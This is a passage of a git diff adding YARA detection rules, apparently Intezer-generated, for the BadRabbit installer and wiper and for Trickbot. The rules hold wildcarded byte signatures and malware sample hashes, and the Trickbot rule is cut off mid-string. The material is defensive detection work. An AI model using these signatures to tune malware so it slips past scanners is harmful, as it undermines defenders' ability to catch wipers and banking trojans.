+		$block_54 = { 45 ?? ?? 49 ?? ?? 45 ?? ?? 49 ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? 0F 8E }
+		$block_55 = { 48 ?? ?? ?? 45 ?? ?? 41 ?? ?? ?? ?? ?? 49 ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_56 = { 48 ?? ?? ?? ?? ?? ?? 44 ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_57 = { 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 3C ?? 0F 85 }
+		$block_58 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 84 }
+		$block_59 = { 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_60 = { 48 ?? ?? ?? ?? ?? ?? 4D ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_61 = { 48 ?? ?? ?? ?? ?? ?? 4D ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? 0F 84 }
+		$block_62 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 41 ?? ?? 0F 85 }
+		$block_63 = { 4D ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? 8B ?? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_64 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_65 = { 41 ?? ?? B9 ?? ?? ?? ?? 2B ?? 3B ?? 0F 4C ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 74 }
+		$block_66 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_67 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 33 ?? 48 ?? ?? 0F 85 }
+		$block_68 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_69 = { 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 49 ?? ?? 45 ?? ?? 41 ?? ?? 48 ?? ?? 0F 84 }
+		$block_70 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? 4C ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_71 = { 33 ?? 49 ?? ?? 48 ?? ?? F2 ?? 48 ?? ?? 49 ?? ?? 49 ?? ?? 49 ?? ?? 0F 85 }
+		$block_72 = { 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 41 ?? ?? 0F 85 }
+		$block_73 = { 33 ?? 49 ?? ?? 48 ?? ?? F2 ?? 48 ?? ?? 49 ?? ?? 49 ?? ?? 48 ?? ?? 0F 85 }
+		$block_74 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 39 ?? ?? 0F 8F }
+		$block_75 = { 49 ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? 49 ?? ?? F2 ?? 48 ?? ?? 49 ?? ?? 0F 84 }
+		$block_76 = { 8B ?? 89 ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 99 33 ?? 2B ?? 3D ?? ?? ?? ?? 7F }
+		$block_77 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 84 }
+		$block_78 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_79 = { 48 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? 8B ?? 0F 85 }
+		$block_80 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 85 }
+		$block_81 = { C6 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 66 ?? ?? ?? ?? 48 ?? ?? ?? ?? 75 }
+		$block_82 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_83 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_84 = { 48 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_85 = { BA ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_86 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 41 ?? ?? 0F 85 }
+		$block_87 = { 41 ?? ?? 44 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? 0F 84 }
+		$block_88 = { 8B ?? ?? ?? 41 ?? ?? ?? ?? 0F BA ?? ?? 83 ?? ?? 41 ?? ?? 0F 8E }
+		$block_89 = { 48 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 45 ?? ?? 41 ?? ?? 0F 84 }
+		$block_90 = { 48 ?? ?? 33 ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 84 }
+		$block_91 = { 4C ?? ?? ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8A ?? 3C ?? 0F 85 }
+		$block_92 = { 48 ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 0F 8F }
+		$block_93 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 85 }
+		$block_94 = { 8B ?? 85 ?? 0F 44 ?? C1 ?? ?? 89 ?? ?? 48 ?? ?? ?? 48 ?? ?? 75 }
+		$block_95 = { 48 ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? 0F 82 }
+		$block_96 = { 33 ?? 48 ?? ?? ?? ?? 49 ?? ?? F2 ?? 48 ?? ?? 49 ?? ?? 0F 84 }
+		$block_97 = { 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_98 = { 48 ?? ?? ?? ?? 48 ?? ?? 8B ?? E8 ?? ?? ?? ?? 41 ?? ?? 0F 84 }
+		$block_99 = { 4C ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "ffb0e35cfab750c8532f7d49deb8a71284fa420660710b8be632dacdd0a5cf45" or
+		hash.sha256(0, filesize) == "1311759943aabfe55ef2d42677432f14ed8fb549619473e5fb56f8a92d2daf72" or
+		24 of them
+}
+
+rule BadRabbitInstaller {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 33 ?? 5? 5? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 5? 8B ?? 83 ?? ?? 5? 5? 33 ?? 5? 5? 6A ?? 5? 6A ?? 68 ?? ?? ?? ?? 5? 89 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_2 = { 5? 8B ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_3 = { 8D ?? ?? ?? ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF D? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_4 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 5? 2B ?? 8B ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 0F B7 ?? ?? ?? 03 ?? 8D ?? ?? ?? 0F B7 ?? ?? 85 ?? 7E }
+
+	condition:
+		hash.sha256(0, filesize) == "630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da" or
+		7 of them
+}
+
+rule BadRabbitWiper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 0F B7 ?? ?? 0F A4 ?? ?? C1 ?? ?? 89 ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 89 }
+		$block_1 = { 5? 5? 5? 6A ?? 5? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_2 = { 5? 8B ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 39 ?? ?? 0F 84 }
+		$block_3 = { 69 ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? 5? 33 ?? 39 ?? ?? 0F 95 ?? 4? 5? FF 1? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_4 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? ?? 03 ?? 5? 8B ?? ?? ?? ?? ?? 03 ?? 0F 84 }
+		$block_5 = { 8D ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_7 = { 8B ?? ?? 8D ?? ?? 5? FF 7? ?? 0F B7 ?? 5? FF 7? ?? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 84 ?? 74 }
+		$block_8 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 6A ?? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 2B ?? D1 ?? 0F B7 ?? 68 ?? ?? ?? ?? 6A ?? 89 ?? ?? FF D? 5? FF D? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_10 = { 0F B7 ?? ?? 89 ?? ?? 0F B7 ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 0F B7 ?? 83 ?? ?? 3B ?? 0F 87 }
+		$block_11 = { 8B ?? ?? ?? ?? ?? 83 ?? ?? 5? 6A ?? 89 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_12 = { 8D ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_13 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 6A ?? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_14 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 0F B7 ?? ?? 6A ?? 03 ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_15 = { 21 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? 5? FF 7? ?? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_16 = { 8B ?? ?? 8B ?? ?? 8B ?? A5 A5 A5 A5 8B ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 33 ?? 66 ?? ?? ?? 75 }
+		$block_17 = { 5? 8B ?? 83 ?? ?? 5? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 33 ?? A3 ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_18 = { 8B ?? ?? 8D ?? ?? 5? 6A ?? 6A ?? 5? C7 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_19 = { 68 ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_20 = { A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_21 = { 5? 8B ?? 5? 6A ?? 6A ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_22 = { 0F B6 ?? ?? 33 ?? BB ?? ?? ?? ?? F7 ?? 4? 8A ?? ?? ?? ?? ?? 88 ?? ?? ?? 83 ?? ?? 72 }
+		$block_23 = { 5? 5? 6A ?? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$block_24 = { 8B ?? ?? 0F B7 ?? ?? FF 7? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? 74 }
+		$block_25 = { 5? 5? 8D ?? ?? 5? FF 7? ?? 5? FF 7? ?? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_26 = { 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_27 = { 8B ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? ?? 0F B7 ?? 89 ?? ?? 8B ?? 8D }
+		$block_28 = { 68 ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_29 = { 6A ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? BF ?? ?? ?? ?? 3B ?? 0F 83 }
+		$block_30 = { 5? 8B ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_31 = { 8D ?? ?? ?? 0F B6 ?? 33 ?? 6A ?? 5? F7 ?? 4? 8A ?? ?? ?? ?? ?? 88 ?? 83 ?? ?? 72 }
+		$block_32 = { 5? 68 ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_33 = { 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_34 = { 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 33 ?? 0F B7 ?? 4? 66 ?? ?? 8B ?? 8D ?? ?? 75 }
+		$block_35 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? FF 7? ?? 6A ?? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_36 = { 8D ?? ?? ?? ?? ?? ?? 8B ?? 2B ?? 0F B7 ?? 66 ?? ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+		$block_37 = { 0F B7 ?? ?? 5? 89 ?? ?? 83 ?? ?? 5? 6A ?? FF D? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_38 = { 0F B7 ?? ?? 5? 83 ?? ?? 5? 6A ?? 89 ?? ?? FF D? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_39 = { 6A ?? 6A ?? C6 ?? ?? C7 ?? ?? ?? ?? ?? ?? FF D? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_40 = { 8D ?? ?? 5? 5? 5? 89 ?? ?? 8B ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_41 = { 8D ?? ?? 5? 8B ?? ?? 6A ?? FF 7? ?? 03 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_42 = { 0F B6 ?? 33 ?? 81 E? ?? ?? ?? ?? C1 ?? ?? 33 ?? ?? ?? ?? ?? ?? 4? 4? 75 }
+		$block_43 = { 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_44 = { 6A ?? 6A ?? C6 ?? ?? FF D? 5? FF 1? ?? ?? ?? ?? 8B ?? 33 ?? 3B ?? 0F 84 }
+		$block_45 = { 6A ?? BF ?? ?? ?? ?? 5? FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_46 = { 8B ?? ?? 8B ?? 0F B6 ?? ?? 6A ?? 5? 2B ?? 89 ?? ?? 33 ?? 4? 66 ?? ?? 75 }
+		$block_47 = { 8D ?? ?? ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_48 = { 83 ?? ?? ?? 8D ?? ?? 5? FF 7? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_49 = { 8B ?? ?? 6A ?? 68 ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_50 = { 8D ?? ?? 5? 8B ?? ?? 8B ?? ?? FF 3? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_51 = { 0F B7 ?? ?? 83 ?? ?? ?? 5? 5? 0F B7 ?? ?? 8D ?? ?? ?? 89 ?? ?? 85 ?? 7E }
+		$block_52 = { 8D ?? ?? ?? ?? ?? ?? 9? 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_53 = { 5? 5? FF 1? ?? ?? ?? ?? 5? FF 7? ?? 33 ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_54 = { 6A ?? 68 ?? ?? ?? ?? FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_55 = { 8D ?? ?? 5? 0F B7 ?? 5? 8D ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 84 ?? 74 }
+		$block_56 = { 5? 68 ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_57 = { 2B ?? 5? 83 ?? ?? 5? 6A ?? 89 ?? ?? FF D? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_58 = { 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+		$block_59 = { 0F 31 89 ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 33 ?? EB }
+		$block_60 = { 8B ?? ?? 8B ?? ?? 6A ?? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_61 = { 6A ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_62 = { 6A ?? 6A ?? C7 ?? ?? ?? ?? ?? ?? FF D? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_63 = { FF 7? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_64 = { 8B ?? ?? 6A ?? 6A ?? 89 ?? ?? FF D? 5? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_65 = { FF 7? ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_66 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? ?? 5? 8B ?? ?? 5? 5? 8B ?? ?? 0F 8C }
+		$block_67 = { 8B ?? ?? 5? 6A ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_68 = { 0F B7 ?? ?? 5? FF 1? ?? ?? ?? ?? B9 ?? ?? ?? ?? 66 ?? ?? 0F 87 }
+		$block_69 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 33 ?? F6 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_70 = { 5? 8B ?? 5? 5? 66 ?? ?? ?? ?? 5? 5? 5? 8B ?? C6 ?? ?? ?? 0F 82 }
+		$block_71 = { 0F B7 ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? 33 ?? 66 ?? ?? ?? 75 }
+		$block_72 = { 8B ?? ?? 6A ?? 6A ?? 89 ?? FF D? 5? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_73 = { 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+		$block_74 = { 0F B7 ?? ?? 33 ?? 83 ?? ?? 33 ?? 33 ?? 89 ?? ?? 3B ?? 0F 8C }
+		$block_75 = { 8D ?? ?? 5? FF 7? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_76 = { FF 7? ?? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_77 = { 0F B6 ?? 8A ?? ?? ?? ?? ?? FE ?? F6 ?? 88 ?? ?? 80 F? ?? 72 }
+		$block_78 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 33 ?? 89 ?? ?? 39 ?? ?? 0F 84 }
+		$block_79 = { 5? 5? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_80 = { 0F B7 ?? ?? 03 ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? 0F 85 }
+		$block_81 = { 5? 68 ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_82 = { 6A ?? 6A ?? 5? 5? 8D ?? ?? ?? ?? ?? 5? FF D? 85 ?? 0F 84 }
+		$block_83 = { 5? 6A ?? 6A ?? FF D? 5? FF D? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_84 = { 5? 68 ?? ?? ?? ?? 6A ?? FF D? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_85 = { 8B ?? ?? 83 ?? ?? 33 ?? 8B ?? F3 ?? 8B ?? ?? 0F 94 ?? 89 }
+		$block_86 = { 0F B7 ?? ?? 83 ?? ?? ?? 2B ?? 4? 89 ?? ?? 8B ?? 32 ?? 8D }
+		$block_87 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_88 = { 6A ?? 8D ?? ?? 5? 6A ?? 5? 5? FF 7? ?? FF D? 85 ?? 0F 85 }
+		$block_89 = { 8B ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_90 = { 8B ?? ?? 33 ?? 85 ?? 0F 94 ?? 8B ?? 89 ?? 85 ?? 0F 84 }
+		$block_91 = { 68 ?? ?? ?? ?? 6A ?? FF D? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_92 = { 8D ?? ?? 5? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_93 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 5? 8B ?? 5? 5? C9 C2 }
+		$block_94 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_95 = { 33 ?? 83 ?? ?? 0F 95 ?? 89 ?? ?? 4? 89 ?? 33 ?? EB }
+		$block_96 = { 0F B7 ?? ?? 2B ?? 4? 83 ?? ?? ?? 89 ?? ?? 8B ?? 8D }
+		$block_97 = { 5? 5? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_98 = { 0F B7 ?? 66 ?? ?? 83 ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+		$block_99 = { 5? 6A ?? 6A ?? FF D? 5? FF D? 8B ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93" or
+		hash.sha256(0, filesize) == "579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648" or
+		12 of them
+}
+
diff --git a/yara-mikesxrs/Intezer/Trickbot.yar b/yara-mikesxrs/Intezer/Trickbot.yar
new file mode 100644
index 0000000..eb21879
--- /dev/null
+++ b/yara-mikesxrs/Intezer/Trickbot.yar
@@ -0,0 +1,184 @@
+rule Intezer_Vaccine_Trickbot
+{
+	meta:
+		copyright = "Intezer Labs"
+		description = "Automatic YARA vaccination rule created based on the file's genes"
+		author = "Intezer Labs"
+		reference = "https://analyze.intezer.com"
+		date = "2019-10-30"
+		sha256 = "338a781fbabc5e80821a1a8a7a334232cd30cc12b521deeb359899fae88603ae"
+	strings:
+		$268446021_332 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 84 }
